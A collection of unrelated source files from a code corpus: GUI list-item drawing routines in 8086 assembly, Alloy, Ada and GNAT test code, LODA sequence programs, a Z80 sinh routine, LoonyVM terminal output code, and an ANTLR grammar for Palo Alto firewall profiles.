jnc fullRedraw ;going enabled, branch to do it
push ax
mov al, mask SDM_INVERSE or SDM_50 ;Use inverse of 50% mask
mov ch, TRUE
call OLItemWash50Percent
pop ax
jmp short done ;skip if washed object...
;(bx, cx, dx trashed if so)
endif
fullRedraw:
;we must fully redraw this object, including the background
mov ch, TRUE
drawCommon:
;regs:
; al = flags which have changed
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; ch = TRUE if is full redraw
; dh = OLII_state
;Yes, we could have plenty of optimizations here in the future, to
;handle transitions between specific states. But since we are running
;out of memory and not processor speed, punt!
call DrawBWScrollableItemBackground
drawMoniker:
test dh, mask OLIS_MONIKER_INVALID
jnz abort ;skip if invalid...
test dl, mask GS_USABLE
jz abort ;skip if not usable...
;
; Set the area color to be used by monochrome bitmap monikers
;
mov ax, C_BW_GREY ;Use 50% pattern if disabled
call OLScrollableItemSetAreaColorBlackIfEnabled
;set AreaColor C_BLACK or dark color.
;
; call routine to determine which accessories to draw with moniker
;
mov al, cl ;pass al = OLBI_optFlags
mov dh, bh ;set dh = OLBI_specState
call OLButtonSetupMonikerAttrs
;returns cx = OLMonikerAttrs
;does not trash ax, dx, di
if _KBD_NAVIGATION ;------------------------------------------------------
;
; if selection cursor is on this object, have the dotted line drawn
; just inside the bounds of the object (taking clipping into account).
; (cx = OLMonikerAttrs)
test cx, mask OLMA_DISP_SELECTION_CURSOR
jz 90$ ;skip if not...
ornf cx, mask OLMA_USE_LIST_SELECTION_CURSOR
;
; CUA/Motif: Pass color info in OLMonikerFlags so that
; OpenDrawMoniker knows how to draw the selection cursor.
;
test dh, mask OLBSS_SELECTED ;is item ON?
jz 90$ ;skip if not...
ornf cx, mask OLMA_BLACK_MONOCHROME_BACKGROUND
; pass flag indicating that we are
; drawing over a C_BLACK area, so to
; draw selection cursor, use C_WHITE.
; To erase, use C_BLACK.
90$:
endif ; _KBD_NAVIGATION ------------------------------------------------------
mov al, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST) or \
mask DMF_CLIP_TO_MAX_WIDTH
OLS < mov dx, SCROLL_ITEM_INSET_X ;left and right inset >
;(top and bottom = 0)
CUAS < mov dx, MO_SCROLL_ITEM_INSET_X ;left and right inset >
;(top and bottom = 0)
CUAS < xchg cx, dx >
CUAS < call AddExtraSpaceIfInMenu ;adds space to cx >
CUAS < xchg cx, dx >
;pass al = DrawMonikerFlags,
;cx = OLMonikerAttrs
call OLButtonDrawMoniker ;draw moniker
done:
ret
;NOTE: CLAYTON: IS THIS OK WHEN OBJECT IS NOT USABLE?
abort: ;Moniker isn't valid, so erase the entry.
OLS < mov ax, C_WHITE >
CUAS< mov ax, C_WHITE >
call GrSetAreaColor
call VisGetBounds ; Get bounds to draw everything
call GrFillRect
ret
DrawBWScrollableItem endp
endif ; _OL_STYLE or _MOTIF or _ISUI
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawBWScrollableItemBackground
DESCRIPTION: This procedure draws a black and white scroll item.
CALLED BY: DrawBWScrollableItem
PASS: *ds:si = instance data for object
al = drawing flags which have changed
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if must redraw item
dl = GI_states
dh = OLII_state
bp = color scheme (from GState)
di = GState
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 some code from old DrawBWScrollItem
Chris 4/91 Updated for new graphics, bounds conventions
------------------------------------------------------------------------------@
if _OL_STYLE or _MOTIF or _ISUI
DrawBWScrollableItemBackground proc near
uses ax, bx, cx, dx, bp
.enter
;
; The CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have changed
; update the item image according to the new SELECTED state.
;
test dh, mask OLIS_MONIKER_INVALID
jnz notSelected ;draw in white if moniker is invalid
test bh, mask OLBSS_SELECTED
jz notSelected
selected:
;
; draw background in dark (selected) color
;
mov ax, C_BLACK
call GrSetAreaColor
call VisGetBounds
call GrFillRect
mov ax, C_WHITE ; Use white as text color
if USE_COLOR_FOR_DISABLED_GADGETS
call OLItemSetUseColorIfDisabled
endif
call GrSetTextColor ; for item that are "on"
call GrSetLineColor
jmp short done
notSelected:
mov ax, C_WHITE
call GrSetAreaColor
OLS < call GrSetLineColor >
call VisGetBounds
call GrFillRect
OLS < dec cx ;adjust for lines >
OLS < dec dx >
OLS < call GrDrawRect >
done:
.leave
ret
DrawBWScrollableItemBackground endp
endif ; _OL_STYLE or _MOTIF or _ISUI
DrawBW ends
DrawColor segment resource
if not _ASSUME_BW_ONLY
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawColorScrollableItem
DESCRIPTION: Draw an OLScrollableItemClass object on a color display.
CALLED BY: OLScrollableItemDraw (OpenLook and Motif cases only)
PASS: *ds:si - instance data for OLScrollableItem object
cl - color scheme
ch - DrawFlags: DF_EXPOSED set if updating
di - GState to use
RETURN: *ds:si = same
DESTROYED: ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 2/89 Initial version
Eric 3/90 cleanup
------------------------------------------------------------------------------@
if _OL_STYLE or _MOTIF or _ISUI ;-------------------------------
DrawColorScrollableItem proc far
class OLScrollableItemClass
EC < call VisCheckVisAssumption ;Make sure vis data exists >
mov bp, cx ;Save DrawFlags and color scheme
call OLItemGetGenAndSpecState
;sets: bl = OLBI_behavior
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; dl = GI_states
; dh = OLII_state
push bx
if ITEM_USES_BACKGROUND_COLOR
;
; use parent text color, as we do for background color
;
call OpenGetParentTextColor
else
call OpenGetTextColor ; use hint text color if there
endif
mov bx, C_BLACK
jnc 10$
clr bx
mov bl, al
10$:
mov ax, bx
pop bx
if USE_COLOR_FOR_DISABLED_GADGETS
call OLItemSetUseColorIfDisabled
endif
call GrSetTextColor
call GrSetLineColor
;set the draw masks to 50% if this object is disabled
;(Experimentation 9/ 7/93 cbh: move this further down so background
; draws aren't done in a 50% pattern.) (Integrated for V2.1 1/24/94)
if 0
mov al, SDM_50
call OLItemSetMasksIfDisabled
endif
;if this is a MSG_META_EXPOSED event, then force a full redraw.
test ch, mask DF_EXPOSED
jnz fullRedraw ;skip if so...
test cl, mask OLBOF_DRAW_STATE_KNOWN
jz fullRedraw ;skip if have no old state info...
;this is not a MSG_META_EXPOSED event. So some status flag(s) in this
;item object have changed. Compare old vs. new state to see what
;has changed
clr ch ;default flag: is not FULL REDRAW
mov al, bh ;get OLBI_specState
xor al, cl ;compare to OLBI_optFlags
push di ;can I trash this? Who knows.
mov di, ds:[si] ;point to instance
add di, ds:[di].Vis_offset
mov ah, ds:[di].VI_attrs ;get VI_attrs
xor ah, cl ;compare to OLBI_optFlags
test ah, mask VA_FULLY_ENABLED
pop di
jz drawCommon ;skip if same enabled status...
deltaEnabledStatus:
;the ENABLED status has changed. If that is all that changed,
;then just wash over this object with a 50% pattern, making it
;look as if we redrew it with 50% masks.
test al, OLBOF_STATE_FLAGS_MASK
jnz fullRedraw ;if any other flags changed,
;force a full redraw...
if (not USE_COLOR_FOR_DISABLED_GADGETS) and (not ITEM_USES_BACKGROUND_COLOR)
; not-enabled custom colors need full redraw
call CheckIfJustDisabled
jnc fullRedraw ;going enabled, branch to do it
push ax
call GetLightColor ;ax <- use light color
call GrSetAreaColor
mov al, mask SDM_INVERSE or SDM_50 ;Use inverse of 50% mask
mov ch, TRUE ; signal color item
call OLItemWash50Percent
pop ax
jmp done ;exit
endif
;must have changed from DISABLED to ENABLED: fall through
;to force a full redraw.
fullRedraw:
;we must fully redraw this object, including the background
mov ch, TRUE
drawCommon:
;draw the background for the list item
; al = flags which have changed
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; ch = TRUE if is full redraw
; dh = OLII_state
call DrawColorScrollableItemBackground
if SCROLL_LIST_GRID_LINES_AND_SPACING
call DrawScrollableItemGridLines
endif
;set the draw masks to 50% if this object is disabled
;(Moved here 9/ 7/93 cbh) (Integrated for V2.1 1/24/94 cbh)
if not USE_COLOR_FOR_DISABLED_GADGETS
mov al, SDM_50
call OLItemSetMasksIfDisabled
endif
drawMoniker:
;Set the area color to be used by monochrome bitmap monikers
;regs: *ds:si = object
; bh = OLBI_specState (low byte)
; cl = OLBI_optFlags
; dl = GI_states
; dh = OLII_state
; bp = DrawFlags, ColorScheme
; di = GState
test dh, mask OLIS_MONIKER_INVALID
LONG jnz done
test dl, mask GS_USABLE
LONG jz done
;Set the area color to be used by monochrome bitmap monikers
if USE_COLOR_FOR_DISABLED_GADGETS
mov ax, DISABLED_COLOR ;assume DISABLED_COLOR for
;bitmap if not enabled
else
call GetDarkColor ;assume dark color for bitmap
;if is not enabled
endif
call OLScrollableItemSetAreaColorBlackIfEnabled
;set AreaColor C_BLACK or dark color.
;call routine to determine which accessories to draw with moniker
mov al, cl ;pass al = OLBI_optFlags
mov dh, bh ;set dh = OLBI_specState
call OLButtonSetupMonikerAttrs
;returns cx = info.
;does not trash ax, dx, di
if _KBD_NAVIGATION ;------------------------------------------------------
;decide whether selection cursor must be drawn
;(al = OLBI_optFlags)
call OLButtonTestForCursored ;in Resident resource (does not trash dx
if CURSOR_ON_BACKGROUND_COLOR
;
; Since we do a full redraw if the cursor turns off, we don't
; need to erase cursor in this case.
;
test al, mask OLBOF_DRAWN_CURSORED
jz notCursorOff
test bx, mask OLBSS_CURSORED
jnz notCursorOff
andnf cx, not (mask OLMA_DISP_SELECTION_CURSOR and \
mask OLMA_SELECTION_CURSOR_ON)
notCursorOff:
endif
;if selection cursor is on this object, have the dotted line drawn
;just inside the bounds of the object (taking clipping into account).
test cx, mask OLMA_DISP_SELECTION_CURSOR
jz 90$ ;skip if not...
ornf cx, mask OLMA_USE_LIST_SELECTION_CURSOR
;CUA/Motif: Pass color info in OLMonikerFlags so that OpenDrawMoniker
;knows how to draw the selection cursor.
test dh, mask OLBSS_SELECTED ;is item ON?
jnz 85$ ;skip if so...
ornf cx, mask OLMA_LIGHT_COLOR_BACKGROUND
jmp short 90$
85$:
ornf cx, mask OLMA_DARK_COLOR_BACKGROUND
90$:
if CURSOR_ON_BACKGROUND_COLOR ;----------------------------------------------
mov ax, (1 shl 8) ; use parent unselected color
test dh, mask OLBSS_SELECTED ; al non-zero if selected
jz 3$
dec al
3$:
call OpenSetCursorColorFlags ; cx = update OLMonikerAttrs
endif ; CURSOR_ON_BACKGROUND_COLOR ;--------------------------------------
endif ; _KBD_NAVIGATION -----------------------------------------------------
mov al, (J_LEFT shl offset DMF_X_JUST) or \
(J_CENTER shl offset DMF_Y_JUST) or \
mask DMF_CLIP_TO_MAX_WIDTH
OLS < mov dx, SCROLL_ITEM_INSET_X ;pass 4 inset values >
CUAS < mov dx, MO_SCROLL_ITEM_INSET_X ;pass 4 inset values >
CUAS < xchg cx, dx >
CUAS < call AddExtraSpaceIfInMenu ;adds space to cx >
CUAS < xchg cx, dx >
;
; pass al = DrawMonikerFlags, cx = OLMonikerAttrs
;
call OLButtonDrawMoniker ;draw moniker and accessories
done:
ret
DrawColorScrollableItem endp
endif ; _OL_STYLE or _MOTIF or _ISUI ---------------------------------------
COMMENT @----------------------------------------------------------------------
FUNCTION: DrawColorScrollableItemBackground
DESCRIPTION: This procedure draws a color Toolbox-type item,
for Motif or OpenLook only. In Motif, this procedure is
used for toolbox exclusive items; in OpenLook it is
used for items in a windowm, menu, or toolbox.
CALLED BY: DrawColorItem
PASS: *ds:si = instance data for object
al = drawing flags which have changed
bl = OLII_behavior
bh = OLBI_specState (low byte)
cl = OLBI_optFlags
ch = TRUE if must redraw item
dl = GI_states
dh = OLII_state
bp = color scheme (from GState)
di = GState
RETURN: ds, si, di, ax, bx, dx, bp = same
ch = TRUE if must redraw moniker
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 4/90 some code from old DrawColorItem
------------------------------------------------------------------------------@
if _OL_STYLE or _MOTIF or _ISUI ;-------------------------------
DrawColorScrollableItemBackground proc near
uses ax, bx, cx, dx, bp
.enter
;The CURSORED, DEPRESSED, SELECTED, or DEFAULT flag(s) have changed
;update the item image according to the new SELECTED state.
;
; If the moniker is invalid, then erase whatever is there by
; clearing to the background color. Also, if it's disabled, we won't
; show emphasis. (Can't really do this and avoid blinking when
; changing enabled state. We'll find another way to solve the navigate
; to disabled item in dynamic list problem.)
;
; push di
; mov di, ds:[si]
; add di, ds:[di].Vis_offset
; test ds:[di].VI_attrs, mask VA_FULLY_ENABLED
; pop di
; jz notSelected
test dh, mask OLIS_MONIKER_INVALID
jnz drawBackground ; if so, clear out to bg color
test bh, mask OLBSS_SELECTED
jz notSelected ;skip if item is OFF...
selected:
;draw background in dark (selected) color. (Rewrit 2/15/93 cbh)
mov al, -1 ;pass al non-zero for selected
call FillRectWithBGColors
if _OL_STYLE ;--------------------------------------------------------------
dec cx ; adjust for lines
dec dx
push ax
mov ax, C_BLACK
call GrSetLineColor
pop ax
call GrDrawHLine ; Draw the top/left edges
call GrDrawVLine
push ax
mov ax, C_WHITE
call GrSetLineColor
pop ax
call DrawBottomRightEdges ; Draw bottom/right edges
endif ;--------------------------------------------------------------
push bx
if ITEM_USES_BACKGROUND_COLOR
;
; use parent text color, as we do for background color
;
call OpenGetParentTextColor
else
call OpenGetTextColor ; use hint text color if there
endif
mov bx, C_WHITE
jnc 10$
clr bx
mov bl, ah
10$:
mov ax, bx
pop bx
call GrSetTextColor ; for item that are "on"
call GrSetLineColor ; For mnemonics
jmp short finishUp
notSelected:
tst ch ;is this a full redraw?
jnz drawBackground ;skip if not...
test cl, mask OLBOF_DRAW_STATE_KNOWN
jz 70$ ;skip if have no old state info...
if CURSOR_ON_BACKGROUND_COLOR
;
;
; If cursor turned off, redraw to support non-standard gadget
; background colors.
;
test cl, mask OLBOF_DRAWN_CURSORED
jz notCursorOff
test bh, mask OLBSS_CURSORED
jz drawBackground
notCursorOff:
endif
test cl, mask OLBOF_DRAWN_SELECTED
jz 70$ ;skip if it wasn't drawn selected
drawBackground:
;is not an EXPOSE event: clear to background color (Rewrit 2/15/93 cbh)
clr ax ;pass ax zero for non-selected
call FillRectWithBGColors
70$: ;set up colors to draw moniker
finishUp:
.leave
mov ch, TRUE ; return flag: must redraw moniker
done:
ret
DrawColorScrollableItemBackground endp
endif ; _OL_STYLE or _MOTIF or _ISUI --------------------------------------
endif ; not _ASSUME_BW_ONLY -------------------------------------------------
DrawColor ends
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECScrollableItemCompField
SYNOPSIS: Error checking routine that makes sure that nothing appears
in the GI_comp field of the Scrollableing list item, since it
never has any children.
PASS: *ds:si - instance data of Scrollable item
RETURN: FATAL ERROR IF GI_comp FIELD IS NONZERO
DESTROYED: di
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
if ERROR_CHECK
ECScrollableItemCompField proc far
push ax
call Res_DerefGenDI
mov ax, ds:[di].GI_comp.handle
or ax, ds:[di].GI_comp.chunk
ERROR_NZ OL_ERROR_ITEMS_CANNOT_HAVE_GENERIC_CHILDREN
pop ax
ret
ECScrollableItemCompField endp
endif
OLScrollableItemSetAreaColorBlackIfEnabled proc far
push di
call Res_DerefVisDI
test ds:[di].VI_attrs, mask VA_FULLY_ENABLED
pop di
jz 80$ ;skip if not enabled
mov ax, C_WHITE ;Draw white bitmap moniker, if selected
test bh, mask OLBSS_SELECTED
jnz 80$ ;skip if item is ON...
mov ax, C_BLACK ;Draw black bitmap moniker
80$:
call GrSetAreaColor ;color for b/w bitmap monikers
ret
OLScrollableItemSetAreaColorBlackIfEnabled endp
COMMENT @----------------------------------------------------------------------
ROUTINE: AddExtraSpaceIfInMenu
SYNOPSIS: Adds extra space to cx to compensate for being a popup list.
CALLED BY: utility
PASS: *ds:si -- item
cx -- value to add to
RETURN: cx -- value, possibly updated
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/23/92 Initial version
------------------------------------------------------------------------------@
AddExtraSpaceIfInMenu proc far
uses di
.enter
call Res_DerefVisDI
test ds:[di].OLBI_specState, mask OLBSS_IN_MENU
jz exit
add cx, MO_SCROLL_POPUP_ITEM_EXTRA_SPACE
exit:
.leave
ret
AddExtraSpaceIfInMenu endp
Resident ends
ItemVeryCommon segment resource
COMMENT @----------------------------------------------------------------------
METHOD: OLScrollableItemSetInteractableState --
MSG_GEN_ITEM_SET_INTERACTABLE_STATE for OLScrollableItemClass
DESCRIPTION: Marks an item as interactable or not.
PASS: *ds:si - instance data
es - segment of MetaClass
ax - MSG_GEN_ITEM_SET_INTERACTABLE_STATE
cx - non-zero for interactable
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chris 2/23/93 Initial Version
------------------------------------------------------------------------------@
OLScrollableItemSetInteractableState method dynamic OLScrollableItemClass, \
MSG_GEN_ITEM_SET_INTERACTABLE_STATE
;
; If we're not changing anything, don't do anything, but especially
; don't send out the notify message! It breaks repeat scrolling.
; 5/13/93 cbh
;
mov dl, mask OLIS_MONIKER_INVALID ;set dl if cx is zero
jcxz 10$
clr dx
10$:
mov di, ds:[si]
add di, ds:[di].Vis_offset
xor dl, ds:[di].OLII_state ;xor against current
and dl, mask OLIS_MONIKER_INVALID
tst dl ;not dx! 5/24/93 cbh
jz exit ;not changing, exit
push cx
mov di, offset OLScrollableItemClass
CallSuper MSG_GEN_ITEM_SET_INTERACTABLE_STATE
pop cx
;
; Send to parent so it knows when to do an update-complete.
;
call GetItemPosition ;returns position in dx
mov ax, MSG_OL_IGROUP_NOTIFY_ITEM_CHANGED_INTERACTABLE_STATE
call VisCallParent
exit:
ret
OLScrollableItemSetInteractableState endm
ItemVeryCommon ends
|
alloy4fun_models/trainstlt/models/0/xNPKutuphbHiqrHQW.als | Kaixi26/org.alloytools.alloy | 0 | 946 | open main
pred idxNPKutuphbHiqrHQW_prop1 {
always (all t:Entry | Green not in signal.t)
}
pred __repair { idxNPKutuphbHiqrHQW_prop1 }
check __repair { idxNPKutuphbHiqrHQW_prop1 <=> prop1o } |
source/nodes/program-nodes-string_literals.ads | reznikmm/gela | 0 | 23837 | <gh_stars>0
-- SPDX-FileCopyrightText: 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.String_Literals;
with Program.Element_Visitors;
package Program.Nodes.String_Literals is
pragma Preelaborate;
type String_Literal is
new Program.Nodes.Node and Program.Elements.String_Literals.String_Literal
and Program.Elements.String_Literals.String_Literal_Text
with private;
function Create
(String_Literal_Token : not null Program.Lexical_Elements
.Lexical_Element_Access)
return String_Literal;
type Implicit_String_Literal is
new Program.Nodes.Node and Program.Elements.String_Literals.String_Literal
with private;
function Create
(Is_Part_Of_Implicit : Boolean := False;
Is_Part_Of_Inherited : Boolean := False;
Is_Part_Of_Instance : Boolean := False)
return Implicit_String_Literal
with Pre =>
Is_Part_Of_Implicit or Is_Part_Of_Inherited or Is_Part_Of_Instance;
private
type Base_String_Literal is
abstract new Program.Nodes.Node
and Program.Elements.String_Literals.String_Literal
with null record;
procedure Initialize (Self : in out Base_String_Literal'Class);
overriding procedure Visit
(Self : not null access Base_String_Literal;
Visitor : in out Program.Element_Visitors.Element_Visitor'Class);
overriding function Is_String_Literal
(Self : Base_String_Literal)
return Boolean;
overriding function Is_Expression
(Self : Base_String_Literal)
return Boolean;
type String_Literal is
new Base_String_Literal
and Program.Elements.String_Literals.String_Literal_Text
with record
String_Literal_Token : not null Program.Lexical_Elements
.Lexical_Element_Access;
end record;
overriding function To_String_Literal_Text
(Self : in out String_Literal)
return Program.Elements.String_Literals.String_Literal_Text_Access;
overriding function String_Literal_Token
(Self : String_Literal)
return not null Program.Lexical_Elements.Lexical_Element_Access;
overriding function Image (Self : String_Literal) return Text;
type Implicit_String_Literal is
new Base_String_Literal
with record
Is_Part_Of_Implicit : Boolean;
Is_Part_Of_Inherited : Boolean;
Is_Part_Of_Instance : Boolean;
end record;
overriding function To_String_Literal_Text
(Self : in out Implicit_String_Literal)
return Program.Elements.String_Literals.String_Literal_Text_Access;
overriding function Is_Part_Of_Implicit
(Self : Implicit_String_Literal)
return Boolean;
overriding function Is_Part_Of_Inherited
(Self : Implicit_String_Literal)
return Boolean;
overriding function Is_Part_Of_Instance
(Self : Implicit_String_Literal)
return Boolean;
overriding function Image (Self : Implicit_String_Literal) return Text;
end Program.Nodes.String_Literals;
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/ext1.ads | best08618/asylo | 7 | 12255 | <filename>gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/ext1.ads
package ext1 is
type I_Smiley is interface;
procedure Set_Mood (Obj : out I_Smiley) is abstract;
--
type Smiley (Max : Positive) is abstract new I_Smiley with record
S : String (1 .. Max);
end record;
--
type Regular_Smiley is new Smiley (3) with null record;
overriding
procedure Set_Mood (Obj : out Regular_Smiley);
end ext1;
|
oeis/048/A048918.asm | neoneye/loda-programs | 11 | 97635 | ; A048918: 9-gonal hexagonal numbers.
; Submitted by <NAME>
; 1,325,5330229625,1353857339341,22184715227362706161,5634830324997758086741,92334031424171069457850940521,23452480456295952079681300143325,384299427405961840930468013697980089825,97610541547790513644729906482502335077221,1599475812185636832479963088306383808688155844441,406260559048675854306037142276243644247931020372461,6657108211260410456073471325170991859761382033096173586641,1690879276166444086815072918057108604950503868543440346155125
mov $2,$0
mul $0,2
mod $2,2
sub $0,$2
seq $0,253880 ; Triangular numbers (A000217) that are also centered heptagonal numbers (A069099).
div $0,252
mul $0,324
add $0,1
|
oeis/188/A188468.asm | neoneye/loda-programs | 11 | 176044 | <reponame>neoneye/loda-programs
; A188468: Positions of 0 in A188467.
; Submitted by <NAME>
; 2,4,5,7,10,12,13,15,18,20,23,25,26,28,31,33,34,36,39,41,44,46,47,49,52,54,57,59,60,62,65,67,68,70,73,75,78,80,81,83,86,88,89,91,94,96,99,101,102,104,107,109,112,114,115,117,120,122,123,125,128,130,133,135,136,138,141,143,146,148,149,151,154,156,157,159,162
mov $1,$0
seq $0,188010 ; Positions of 0 in A188009; complement of A101866.
div $1,2
sub $1,$0
sub $0,$1
|
libsrc/math/zxmath/sinh.asm | andydansby/z88dk-mk2 | 1 | 8262 | ;
;
; ZX Maths Routines
;
; 21/03/03 - <NAME>
;
; $Id: sinh.asm,v 1.2 2009/06/22 21:44:17 dom Exp $
;
;double sinh(double)
; e = exp(x) ;
; return ((e-1.0/e)/2) ;
IF FORzx
INCLUDE "zxfp.def"
ELSE
INCLUDE "81fp.def"
ENDIF
XLIB sinh
LIB fsetup1
LIB stkequ
.sinh
call fsetup1
defb ZXFP_EXP ; and at the beginning exp (x)
defb ZXFP_DUPLICATE
defb ZXFP_STK_ONE
defb ZXFP_EXCHANGE
defb ZXFP_DIVISION ; 1/e
defb ZXFP_SUBTRACT
defb ZXFP_STK_ONE ; STK_TWO :o)
defb ZXFP_STK_ONE
defb ZXFP_ADDITION
defb ZXFP_DIVISION
defb ZXFP_END_CALC
jp stkequ
|
programs/oeis/257/A257055.asm | karttu/loda | 1 | 165793 | <gh_stars>1-10
; A257055: a(n) = n*(n + 1)*(n^2 - n + 3)/6.
; 0,1,5,18,50,115,231,420,708,1125,1705,2486,3510,4823,6475,8520,11016,14025,17613,21850,26810,32571,39215,46828,55500,65325,76401,88830,102718,118175,135315,154256,175120,198033,223125,250530,280386,312835,348023,386100,427220,471541,519225,570438,625350,684135,746971,814040,885528,961625,1042525,1128426,1219530,1316043,1418175,1526140,1640156,1760445,1887233,2020750,2161230,2308911,2464035,2626848,2797600,2976545,3163941,3360050,3565138,3779475,4003335,4236996,4480740,4734853,4999625,5275350,5562326,5860855,6171243,6493800,6828840,7176681,7537645,7912058,8300250,8702555,9119311,9550860,9997548,10459725,10937745,11431966,11942750,12470463,13015475,13578160,14158896,14758065,15376053,16013250,16670050,17346851,18044055,18762068,19501300,20262165,21045081,21850470,22678758,23530375,24405755,25305336,26229560,27178873,28153725,29154570,30181866,31236075,32317663,33427100,34564860,35731421,36927265,38152878,39408750,40695375,42013251,43362880,44744768,46159425,47607365,49089106,50605170,52156083,53742375,55364580,57023236,58718885,60452073,62223350,64033270,65882391,67771275,69700488,71670600,73682185,75735821,77832090,79971578,82154875,84382575,86655276,88973580,91338093,93749425,96208190,98715006,101270495,103875283,106530000,109235280,111991761,114800085,117660898,120574850,123542595,126564791,129642100,132775188,135964725,139211385,142515846,145878790,149300903,152782875,156325400,159929176,163594905,167323293,171115050,174970890,178891531,182877695,186930108,191049500,195236605,199492161,203816910,208211598,212676975,217213795,221822816,226504800,231260513,236090725,240996210,245977746,251036115,256172103,261386500,266680100,272053701,277508105,283044118,288662550,294364215,300149931,306020520,311976808,318019625,324149805,330368186,336675610,343072923,349560975,356140620,362812716,369578125,376437713,383392350,390442910,397590271,404835315,412178928,419622000,427165425,434810101,442556930,450406818,458360675,466419415,474583956,482855220,491234133,499721625,508318630,517026086,525844935,534776123,543820600,552979320,562253241,571643325,581150538,590775850,600520235,610384671,620370140,630477628,640708125
mov $1,$0
mul $1,$0
mul $0,3
add $1,1
pow $1,2
add $1,$0
div $1,6
|
Assembler/lib/term.asm | Rohansi/LoonyVM | 1 | 243925 | <reponame>Rohansi/LoonyVM
; print a character to the terminal
; void printChar(byte c)
printChar:
push bp
mov bp, sp
push r0
push r1
push r2
push r3
mov r0, byte [bp + 8]
mov r1, [termX]
mov r2, [termY]
.backspaceCheck:
cmp r0, 8 ; \b
jne .xCheck
dec r1
cmp r1, 0
jae .backspaceClear
.backspaceUpLine:
.exp = termSizeX - 1
mov r1, .exp
dec r2
cmp r2, 0
jae .backspaceClear
xor r1, r1
xor r2, r2
.backspaceClear:
mov r3, r2 ; ptr = termAddr + ((y * termSizeX) + x) * 2
mul r3, termSizeX
add r3, r1
mul r3, 2
add r3, termAddr
mov word [r3], 0
jmp .end
.xCheck:
cmp r1, termSizeX
jb .yCheck
xor r1, r1
inc r2
.yCheck:
cmp r2, termSizeY
jb .newlineCheck
invoke termScroll
dec r2
.newlineCheck:
cmp r0, 10 ; \n
jne .write
xor r1, r1
inc r2
cmp r2, termSizeY
jb .end
invoke termScroll
dec r2
jmp .end
.write:
mov r3, r2 ; ptr = termAddr + ((y * termSizeX) + x) * 2
mul r3, termSizeX
add r3, r1
mul r3, 2
add r3, termAddr
mov byte [r3], r0
mov byte [r3 + 1], 0x0F ; white on black
inc r1
.end:
mov [termX], r1
mov [termY], r2
.return:
pop r3
pop r2
pop r1
pop r0
pop bp
retn 4
; print a string to the terminal
; void printString(byte* str)
printString:
push bp
mov bp, sp
push r0
mov r0, [bp + 8]
@@:
cmp byte [r0], 0
jz .return
invoke printChar, byte [r0]
inc r0
jmp @b
.return:
pop r0
pop bp
retn 4
; scroll the terminal up one line
; void scroll()
termScroll:
push bp
mov bp, sp
push r0
push r1
push r3
; workaround for loonyvm.inc bug
.src = termAddr + (termSizeX * 2)
.dst = termAddr
.cnt = termSizeX * (termSizeY - 1)
mov r0, .src
mov r1, .dst
mov r3, .cnt
@@:
mov word [r1], word [r0]
add r0, 2
add r1, 2
dec r3
jnz @b
.dst = termAddr + ((termSizeY - 1) * termSizeX * 2)
.cnt = termSizeX
mov r0, .dst
mov r3, .cnt
@@:
mov word [r0], 0
add r0, 2
dec r3
jnz @b
.return:
pop r3
pop r1
pop r0
pop bp
ret
; clear the terminal
; void clear()
termClear:
push bp
mov bp, sp
push r0
push r1
.cnt = termSizeX * termSizeY
mov r0, termAddr
mov r1, .cnt
@@:
mov word [r0], 0
add r0, 2
dec r1
jnz @b
mov [termX], 0
mov [termY], 0
.return:
pop r1
pop r0
pop bp
ret
termX: dd 0
termY: dd 0
termAddr = 0x60000
termSizeX = 80
termSizeY = 25
|
projects/batfish/src/main/antlr4/org/batfish/grammar/palo_alto/PaloAlto_profiles.g4 | jeffkala/batfish | 0 | 7458 | parser grammar PaloAlto_profiles;
import PaloAlto_common;
options {
tokenVocab = PaloAltoLexer;
}
s_profiles: PROFILES sp;
sp
:
sp_custom_url_category
| sp_data_filtering
| sp_data_objects
| sp_decryption
| sp_dos_protection
| sp_file_blocking
| sp_gtp
| sp_hip_objects
| sp_hip_profiles
| sp_sctp
| sp_spyware
| sp_virus
| sp_vulnerability
| sp_wildfire_analysis
;
sp_data_filtering: DATA_FILTERING null_rest_of_line;
sp_data_objects: DATA_OBJECTS null_rest_of_line;
sp_decryption: DECRYPTION null_rest_of_line;
sp_dos_protection: DOS_PROTECTION null_rest_of_line;
sp_file_blocking: FILE_BLOCKING null_rest_of_line;
sp_gtp: GTP null_rest_of_line;
sp_hip_objects: HIP_OBJECTS null_rest_of_line;
sp_hip_profiles: HIP_PROFILES null_rest_of_line;
sp_sctp: SCTP null_rest_of_line;
sp_spyware: SPYWARE null_rest_of_line;
sp_virus: VIRUS null_rest_of_line;
sp_vulnerability: VULNERABILITY null_rest_of_line;
sp_wildfire_analysis: WILDFIRE_ANALYSIS null_rest_of_line;
sp_custom_url_category: CUSTOM_URL_CATEGORY custom_url_category_name spc_definition;
spc_definition: spc_description | spc_list | spc_type;
spc_description: DESCRIPTION description = value;
spc_list: LIST list = variable_list;
spc_type: TYPE type = variable;
// Up to 31 characters
custom_url_category_name: variable;
|
